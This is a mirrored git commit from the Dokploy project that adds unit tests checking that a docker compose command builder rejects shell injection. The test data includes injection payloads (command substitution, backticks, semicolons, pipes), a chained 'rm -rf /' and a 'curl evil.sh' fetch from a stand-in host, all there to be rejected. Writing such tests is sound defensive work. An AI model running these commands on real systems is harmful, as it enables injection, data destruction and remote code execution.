mirror of
https://github.com/Dokploy/dokploy.git
synced 2026-09-14 11:06:15 +05:00
chore: add tests
This commit is contained in:
parent
f3c7edcfd6
commit
65d2853b9e
@ -28,7 +28,7 @@ const runsSafely = (command: string) => {
|
||||
|
||||
const PAYLOADS = [
|
||||
`$(touch ${MARK})`,
|
||||
"`touch " + MARK + "`",
|
||||
`\`touch ${MARK}\``,
|
||||
`x; touch ${MARK}`,
|
||||
`x | touch ${MARK}`,
|
||||
];
|
||||
@ -101,4 +101,69 @@ describe("compose createCommand injection", () => {
|
||||
"deploy/docker-compose.prod.yml",
|
||||
);
|
||||
});
|
||||
|
||||
it("allows chained docker compose commands with '&&'", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
command:
|
||||
"compose pull && docker compose down && docker compose up -d --build",
|
||||
} as any);
|
||||
expect(cmd).toBe(
|
||||
"compose pull && docker compose down && docker compose up -d --build",
|
||||
);
|
||||
});
|
||||
|
||||
it("allows chaining with the legacy 'docker-compose' spelling", () => {
|
||||
const cmd = createCommand({
|
||||
...base,
|
||||
command: "compose pull && docker-compose down",
|
||||
} as any);
|
||||
expect(cmd).toBe("compose pull && docker-compose down");
|
||||
});
|
||||
|
||||
it("rejects a single '&' used for backgrounding", () => {
|
||||
expect(() =>
|
||||
createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
|
||||
).toThrow(/Single '&' is not allowed/);
|
||||
});
|
||||
|
||||
it("rejects a malformed '&&&' chain", () => {
|
||||
expect(() =>
|
||||
createCommand({
|
||||
...base,
|
||||
command: "compose pull &&& docker compose up -d",
|
||||
} as any),
|
||||
).toThrow(/Single '&' is not allowed/);
|
||||
});
|
||||
|
||||
it("rejects chained segments that are not docker compose invocations", () => {
|
||||
expect(() =>
|
||||
createCommand({
|
||||
...base,
|
||||
command: "compose pull && rm -rf /",
|
||||
} as any),
|
||||
).toThrow(/must strictly start with 'docker compose '/);
|
||||
});
|
||||
|
||||
it("rejects an attempted injection smuggled inside a chained segment", () => {
|
||||
for (const bad of [
|
||||
"compose pull && docker compose up -d; touch /tmp/pwn",
|
||||
"compose pull && docker compose up -d $(touch /tmp/pwn)",
|
||||
"compose pull && docker compose up -d `touch /tmp/pwn`",
|
||||
"compose pull && docker compose up -d | touch /tmp/pwn",
|
||||
]) {
|
||||
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
|
||||
/Invalid characters/,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects a chain that only pretends to start with docker compose later in the string", () => {
|
||||
expect(() =>
|
||||
createCommand({
|
||||
...base,
|
||||
command: "compose pull && curl evil.sh | docker compose up -d",
|
||||
} as any),
|
||||
).toThrow(/Invalid characters/);
|
||||
});
|
||||
});
|
||||
|
||||
Loading…
Reference in New Issue
Block a user